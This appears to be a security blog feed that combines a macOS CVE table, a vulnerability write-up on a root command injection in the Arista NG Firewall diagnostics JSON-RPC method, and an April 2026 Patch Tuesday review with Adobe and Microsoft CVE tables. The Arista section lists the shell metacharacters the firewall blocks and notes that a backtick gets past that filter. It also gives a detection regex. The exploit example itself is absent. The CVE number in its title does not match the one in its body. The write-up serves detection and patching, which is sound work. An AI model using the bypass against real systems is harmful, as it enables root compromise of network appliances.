CVE-2026-43703	libxslt	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	No
CVE-2026-43706	libxslt	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	No
CVE-2026-43704	Web Extensions	A malicious web extension may be able to cause an unexpected process crash	Yes	Yes	Yes
CVE-2026-39872	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43663	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43676	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43699	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43700	WebKit	Processing maliciously crafted web content may disclose sensitive user information	Yes	Yes	Yes
CVE-2026-43701	WebKit	A malicious website may be able to process restricted web content outside the sandbox	Yes	Yes	Yes
CVE-2026-43705	WebKit	Processing maliciously crafted web content may lead to memory corruption	Yes	Yes	Yes
CVE-2026-43707	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43708	WebKit	A malicious website may exfiltrate data cross-origin	Yes	Yes	Yes
CVE-2026-43709	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43712	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43713	WebKit	Visiting a website may leak sensitive data	Yes	Yes	Yes
CVE-2026-43715	WebKit	Processing maliciously crafted web content may lead to memory corruption	Yes	Yes	Yes
CVE-2026-43716	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43725	WebKit	A malicious website may be able to process restricted web content outside the sandbox	Yes	Yes	Yes
CVE-2026-43726	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43727	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43731	WebKit	Processing maliciously crafted web content may lead to memory corruption	Yes	Yes	Yes
CVE-2026-43732	WebKit	Processing maliciously crafted web content may disclose sensitive user information	Yes	Yes	Yes
CVE-2026-43734	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43735	WebKit	A malicious website may exfiltrate data cross-origin	Yes	Yes	Yes
CVE-2026-43740	WebKit	Processing maliciously crafted web content may result in the disclosure of process memory	Yes	Yes	Yes
CVE-2026-43742	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43745	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43720	WebKit Canvas	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43721	WebKit Storage	A malicious website may be able to silently hijack clipboard data	Yes	Yes	Yes
CVE-2026-28979	WebRTC	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43717	WebRTC	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43718	WebRTC	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43746	WebRTC	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes

We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.

CVE-2025-6978: Arbitrary Code Execution in the Arista NG Firewall

Sat, 25 Jul 2026 19:00:44 +0200

In this excerpt of a TrendAI Research Services vulnerability report, Jonathan Lein and Simon Humbert of the TrendAI Research team detail a recently patched command injection vulnerability in the Arista NG Firewall. This bug was originally discovered by Gereon Huppertz and reported through the TrendAI Zero Day Initiative (ZDI) program. Successful exploitation could result in arbitrary command execution under the security context of the root user. The following is a portion of their write-up covering CVE-2025-6798, with a few minimal modifications.

A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data in the diagnostics component.

A remote, authenticated attacker could exploit this vulnerability by sending crafted requests to the target server. Successful exploitation could result in arbitrary command execution under the security context of the root user.

The Vulnerability

Arista NG Firewall is an open-source firewall appliance. It was originally developed under the name Untangle. Some features of Arista Firewall include spam blocking, bandwidth control, and IPS, etc. NG Firewall can be managed through a web user interface, or a JSON-RPC API using HTTP.

HTTP is a request/response protocol described in RFCs 7230 - 7237 and other RFCs. A request is sent by a client to a server, which in turn sends a response back to the client. An HTTP request consists of a request line, various headers, an empty line, and an optional message body

where CRLF represents the new line sequence Carriage Return (CR) followed by Line Feed (LF). SP represents a space character. Parameters can be passed from the client to the server as name-value pairs in either the Request-URI, or in the message-body, depending on the Method used and Content-Type header. For example, a simple HTTP request passing a parameter named “param” with value “1”, using the GET method might look like:

A corresponding HTTP request using the POST method might look like:

If there is more than one parameter/value pair, they are encoded as '&'-delimited name=value pairs:

var1=value1&var2=value2&var3=value3...

The component relevant to this report is the JSON-RPC endpoint. A JSON object has the following syntax:

•            An object is enclosed in curly braces {}.
•            An object consists of zero or more items delimited by a comma (",") character.
•            An item consists of a key and a value. A key is delimited from its value by a colon (":") character.
•            A key must be a string (enclosed in quotes).
•            A value must be a valid type. Valid types include string, number, JSON object, array, Boolean, or null.
•            An array is an object enclosed in square braces []. An array consists of zero or more string, number, JSON object, array, Boolean or null type-objects delimited by a comma (",") character.

An example JSON object is as follows:

The following is an example of a JSON-RPC request to the runTroubleshooting() method that is relevant to this report:

A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data that is used in a command line. The runTroubleshooting() method of the class NetworkManagerImpl will be used to handle JSON-RPC requests to the runTroubleshooting method. The command parameter passed to the method will be the first element in the params JSON array in the body of the request. This value must be one of the strings in the TroubleshootingCommands enum defined in the NetworkManager class. The second parameter of the method will contain additional arguments passed to the JSON-RPC call.

The method will first iterate through each of the additional arguments and combine each key value pair into a single string, separated by a "=" character that will later be used as an environment variable. Next, a switch case statement is used to ensure the provided command is one of the values in TroubleshootingCommands. Each command value will be processed using the same code.

The method will next iterate through each environment variable, and inspect it for the following common command injection strings:

; & | > $(

If any are found, the request will be rejected, and an exception is thrown. If each environment variable is valid, the method execEvil() is called to create and execute a command line for the network-troubleshooting.sh script, with the environment variables passed as a parameter. The execEvil() method in turn will call Runtime.getRuntime().exec() to run the script, with the second parameter passing the environment variables that will be used by the script. Each command value will have a function in network-troubleshooting.sh, such as run_dns() for the “DNS” command value. Each function will follow a similar structure, by creating a CMD string using the environment variables passed by exec() and then calling eval to execute it.

However, the values of the parameters passed to the runTroubleshooting JSON-RPC method are not completely sanitized before it is used in the command line. While the parameters passed to the endpoint are inspected for some shell metacharacters, the list is incomplete. For example, the backtick character (`) is not included in the check and may be used to inject a command.

For example:

The example above will write and execute a python script on the server to achieve code execution without using any restricted characters.

A remote, authenticated attacker could exploit this vulnerability by sending a JSON-RPC request to the runTroubleshooting method containing a crafted “HOST” or “URL” parameter containing shell metacharacters not present in the runTroubleshooting() check. Successful exploitation in the worst case will result in arbitrary command execution under the security context of the root user.

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following ports:
- HTTP, over port 80/TCP
- HTTPS, over port 443/TCP

Traffic to Arista NG Firewall may be encrypted and must be decrypted prior to applying this guidance.

The detection device must search for HTTP POST requests made to the request-URI /admin/JSON-RPC. If found, the body of the request must be parsed as JSON. The JSON object in the body must be inspected for a method key, and its value must be inspected to contain the substring runTroubleshooting. If found, the object must also be inspected for the JSON key "params", with a value containing a JSON array. The first entry in the JSON array must be inspected for any of the following strings:

If found, the second entry in the array must be inspected for a JSON object, and inspected for any of the following keys:

If either is found, the corresponding value to the key must be inspected for any of the following command injection characters:

If found, the traffic should be treated as suspicious; an attack exploiting this vulnerability is likely underway.

The following regular expression can be applied to find malicious requests:

/\x22(HOST|URL)\x22\s*:\s*\x22(?:[^\x22\\]|\\.)*?[\x60\x27\x24\x3c]/

Notes:

• String matching on the request-URI and all JSON strings should be done in a case sensitive manner.
• The JSON strings may be encoded and must be decoded prior to applying this guidance.
• The request-URI may be URL-encoded and must be decoded before applying this guidance.

Conclusion

This vulnerability has been addressed by Arista with their Security Advisory 0123. They note that the Arista Edge Threat Management - Arista Next Generation Firewall (Formerly Untangle) is affected by this bug, but other product versions are not. They also state the following mitigation can be applied:

Do not allow non-authorized administrative access or access to the administrative browser.

However, the more appropriate action is to apply the provided vendor security patch by upgrading to version 17.4 or higher.

Special thanks to Jonathan Lein and Simon Humbert of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The April 2026 Security Update Review

Sat, 25 Jul 2026 19:00:42 +0200

It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for April 2026

For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-43	Adobe Acrobat Reader	1	Critical	8.6	Yes	1
APSB26-44	Adobe Acrobat Reader	2	Critical	8.6	No	2
APSB26-32	Adobe InDesign	9	Critical	7.8	No	3
APSB26-33	Adobe InCopy	2	Critical	7.8	No	3
APSB26-36	Adobe FrameMaker	11	Critical	8.6	No	3
APSB26-37	Adobe Connect	9	Critical	9.6	No	3
APSB26-38	Adobe ColdFusion	7	Critical	9.3	No	1
APSB26-39	Adobe Bridge	6	Critical	7.8	No	3
APSB26-40	Adobe Photoshop	1	Critical	7.8	No	3
APSB26-42	Adobe Illustrator	1	Critical	7.8	No	3
APSB26-34	Adobe Experience Manager Screens	9	Important	5.4	No	3
APSB26-41	Adobe DNG SDK	3	Important	5.5	No	3

Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed.

Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for April 2026

This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.

By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.

There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:

- CVE-2026-32201 - Microsoft SharePoint Server Spoofing Vulnerability
Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.

- CVE-2026-33825 - Microsoft Defender Elevation of Privilege Vulnerability
This bug is listed as publicly known, and this time, we know exactly where it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.

- CVE-2026-33827 - Windows TCP/IP Remote Code Execution Vulnerability
This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.

- CVE-2026-33824 - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability
Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.

Here’s the full list of CVEs released by Microsoft for April 2026:

April 2026 Patch Tuesday

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-32201	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	Yes	Spoofing
CVE-2026-5281 *	Chromium: CVE-2026-5281 Use after free in Dawn	High	N/A	No	Yes	RCE
CVE-2026-33825	Microsoft Defender Elevation of Privilege Vulnerability	Important	7.8	Yes	No	EoP
CVE-2026-23666	.NET Framework Denial of Service Vulnerability	Critical	7.5	No	No	DoS
CVE-2026-32190	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-33114	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-33115	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-32157	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-33826	Windows Active Directory Remote Code Execution Vulnerability	Critical	8	No	No	RCE
CVE-2026-33824	Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-33827	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-26171	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-32226	.NET Framework Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-32178	.NET Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-32203	.NET and Visual Studio Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-33116	.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2023-20585 *	AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability	Important	5.3	No	No	RCE
CVE-2026-32072	Active Directory Spoofing Vulnerability	Important	6.2	No	No	Spoofing
CVE-2026-25184	Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32171	Azure Logic Apps Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32168	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32192	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32181	Connected User Experiences and Telemetry Service Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-27924	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32152	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32154	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27923	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32155	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23653	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	5.7	No	No	Info
CVE-2026-23653 *	GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes	Important	7.4	No	No	Info
CVE-2026-33096	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-25250 *	MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix	Important	6	No	No	SFB
CVE-2026-26181	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32219	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32091	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	8.4	No	No	EoP
CVE-2026-26152	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33103	Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32188	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-32189	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32197	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32198	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32199	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32184	Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26155	Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-27914	Microsoft Management Console Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26149	Microsoft Power Apps Security Feature Bypass	Important	9	No	No	SFB
CVE-2026-32200	Microsoft PowerPoint Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26143	Microsoft PowerShell Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-33120 †	Microsoft SQL Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-20945	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-33822	Microsoft Word Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-33095	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-23657	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32081	Package Catalog Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26170	PowerShell Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26183	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26160	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26159	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26151	Remote Desktop Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-32085	Remote Procedure Call Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32167	SQL Server Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-32176	SQL Server Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-0390	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	6.7	No	No	SFB
CVE-2026-32220	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-32212	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32214	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32079	Web Account Manager Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-33104	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32196	Windows Admin Center Spoofing Vulnerability	Important	6.1	No	No	Spoofing
CVE-2026-26178	Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32073	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26168	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26173	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26177	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26182	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27922	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33099	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33100	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32088	Windows Biometric Service Security Feature Bypass Vulnerability	Important	6.1	No	No	SFB
CVE-2026-27913	Windows BitLocker Security Feature Bypass Vulnerability	Important	7.7	No	No	SFB
CVE-2026-26175	Windows Boot Manager Security Feature Bypass Vulnerability	Important	4.6	No	No	SFB
CVE-2026-32162	Windows COM Elevation of Privilege Vulnerability	Important	8.4	No	No	EoP
CVE-2026-20806	Windows COM Server Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26176	Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27926	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32070	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33098	Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26153	Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32087	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32093	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32086	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32150	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27931	Windows GDI Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-27930	Windows GDI Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32221	Windows Graphics Component Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-27906	Windows Hello Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-27928	Windows Hello Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-26156	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32149	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-27910	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27912	Windows Kerberos Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-26179	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26180	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32195	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26163	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32215	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32217	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32218	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26169	Windows Kernel Memory Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-27929	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32071	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-20930	Windows Management Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26162	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-33101	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32084	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-27927	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26184	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32069	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32074	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32078	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26167	Windows Push Notifications Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32158	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32159	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32160	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26172	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-20928	Windows Recovery Environment Security Feature Bypass Vulnerability	Important	4.6	No	No	SFB
CVE-2026-32216	Windows Redirected Drive Buffering System Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-27909	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26161	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26174	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32224	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26154	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-26165	Windows Shell Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26166	Windows Shell Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27918	Windows Shell Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32151	Windows Shell Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-32225	Windows Shell Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-32202	Windows Shell Spoofing Vulnerability	Important	4.3	No	No	Spoofing
CVE-2026-32082	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32083	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32068	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32183	Windows Snipping Tool Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32089	Windows Speech Brokered Api Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32090	Windows Speech Brokered Api Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32153	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27907	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32076	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27908	Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27921	Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27915	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27919	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32075	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27916	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27920	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32077	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27925	Windows UPnP Device Host Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-32156	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	7.4	No	No	RCE
CVE-2026-32223	Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-32165	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27911	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32163	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
